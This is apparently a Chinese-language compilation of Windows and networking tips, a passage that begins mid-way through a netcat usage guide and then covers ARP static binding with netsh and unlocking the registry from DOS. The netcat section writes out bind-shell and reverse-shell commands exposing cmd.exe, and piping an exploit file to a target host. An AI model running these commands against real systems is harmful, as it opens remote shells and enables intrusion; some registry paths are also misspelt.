-v 详细输出–用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉–用于扫描时

端口的表示方法可写为M-N的范围格式。

=====================================================================================================

基本用法:

大概有以下几种用法:

1)连接到REMOTE主机,例子:

格式:nc -nvv 192.168.x.x 80

讲解:连到192.168.x.x的TCP80端口

2)监听LOCAL主机,例子:

格式:nc -l -p 80

讲解:监听本机的TCP80端口

3)扫描远程主机,例子:

格式:nc -nvv -w2 -z 192.168.x.x 80-445

讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL,例子:

格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe

讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接,例子:

格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354

讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,

当配合管道命令”|”与重定向命令”<“、”>”等等命令功能更强大……)。

=====================================================================================================

高级用法:

6)作攻击程序用,例子:

格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80

格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt

讲解:连接到192.168.x.x的80端口,并在其管道中发送’c:\exploit.txt’的内容(两种格式确有相同的效果,

真是有异曲同工之妙:P)

附:’c:\exploit.txt’为shellcode等

7)作蜜罐用[1],例子:

格式:nc -L -p 80

讲解:使用’-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止

8)作蜜罐用[2],例子:

格式:nc -L -p 80 > c:\log.txt

讲解:使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到’c:\log.txt’中,如果把‘>’

改为‘>>’即可以追加日志

附:’c:\log.txt’为日志等

9)作蜜罐用[3],例子:

格式1:nc -L -p 80 < c:\honeypot.txt

格式2:type.exe c:\honeypot.txt|nc -L -p 80

讲解:使用’-L’可以不停地监听某一个端口,直到ctrl+c为止,并把’c:\honeypot.txt’的内容‘送’入其

管道中

附:’c:\honeypot.txt’为欺骗数据等

win7 防止ARP攻击,局域网再也不掉线

直接运行cmd,运行arp -d * ,arp -s会出现下面的错误提示:

ARP 项删除失败: 请求的操作需要提升。

ARP 项添加失败: 拒绝访问。或提示:ARP 项添加失败: 请求的操作需要提升。
(英文版提示:The ARP entry addition failed: Access is denied. )

如何解决呢?
运行arp -d * 需要用管理员身份运行,进入windows\system32文件夹找到cmd.exe,右键“以管理员身份运行”,这样打开cmd程序就能运行arp -d命令了。但是这样还是不能运行arp -s 进行静态mac绑定,大概是win7禁用了这个命令,需要用netsh命令。

具体做法是:

1、先运行:netsh i i show in 找到正在使用的网卡idx号

Idx     Met         MTU          状态                名称
—  ———-  ———-  ————  —————————
1          50  4294967295  connected     Loopback Pseudo-Interface 1
11        4251        1500  connected     本地连接

2、然后运行:netsh -c i i add neighbors 11 192.168.11.1 94-0c-6d-d4-dd-2e 就可以进行绑定了,这里11是idx号。

再次ARP -A 查看,发现已经绑定IP.

PS:xp中可以使用arp -s 网关IP 网关MAC地址 绑定为静态地址.

在DOS下修改注册表

一、scanreg/restore
regedit.exe即可在Widnows下执行,也可以在DOS下执行,利用它可以把注册表或其中的一部分导出到一个文件中可以将你修改后的注册表文件导入到注册表中。

edit.exe是一个DOS下的编辑程序。可用它对你导出的注册表文件进行编辑。上网的朋友经常会遇到IE标题栏的内容被修改和注册表被锁住的情况,下面笔者以解开被锁的注册表为例一说具体的操作过程。

1、导出你想要修改的注册表分支

提示:在注册表中,决定是否允许修改注册表的值项的位置是:
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current

Version\Policies\Syetem

鍵下面的DisableRegistryTools,如果它的值是“1”,则表示禁止修改注册表,“0”则表示允许修改注册表。有的网站就是用恶意代码将它的值改为“1”,从而禁止你用regedit.exe 来修改注册表。

命令格式:
regedit /e ls.reg

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersin\

Policies\System

说明:/e这个参数的功能是导出注册表文件。
ls.reg是导出的注册表文件名。
后面的KEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION
\POLICIES\SYSTEM是你要导出的注册表分支。锁住注册表不让你修改的值项就在这个主键的下面。

2、在DOS下面用edit.exe对ls.reg进行修改。
修改的方法很简单:运行edit,打开ls.reg,找到DisableRegistryTools,

然将其后的值改为0。
3、把修改好的注册表文件导入到注册表中。
命令格式:regedit ls.reg即在regedit后面加上你修改后的注册表文件。

三、自己编辑注册表文件
如果你掌握了第二种方法,那么你就可以自己编一个注册表文件,在DOS下用regedit.exe 命令导入到注册表中,来达到修改注册表的目的。与windows下编辑注册表文件不同的是,在DOS下编写注册表文件只能用edit.exe来完成。编写完成后,将文件存为扩展名为.reg的注册表文件,导入到注册表中即可。

注:在修改注册表之前记得备份。

四、regedit /参数 文件名

s /导入 .reg 文件进注册表(安静模式)
/e 导出注册表文件
例:regedit /e filename.reg HKEY_LOCAL_MACHINESYSTEM
/L:system 指定 system.dat
/R:user 指定 user.dat
/C 压缩 [文件名] (Windows 98)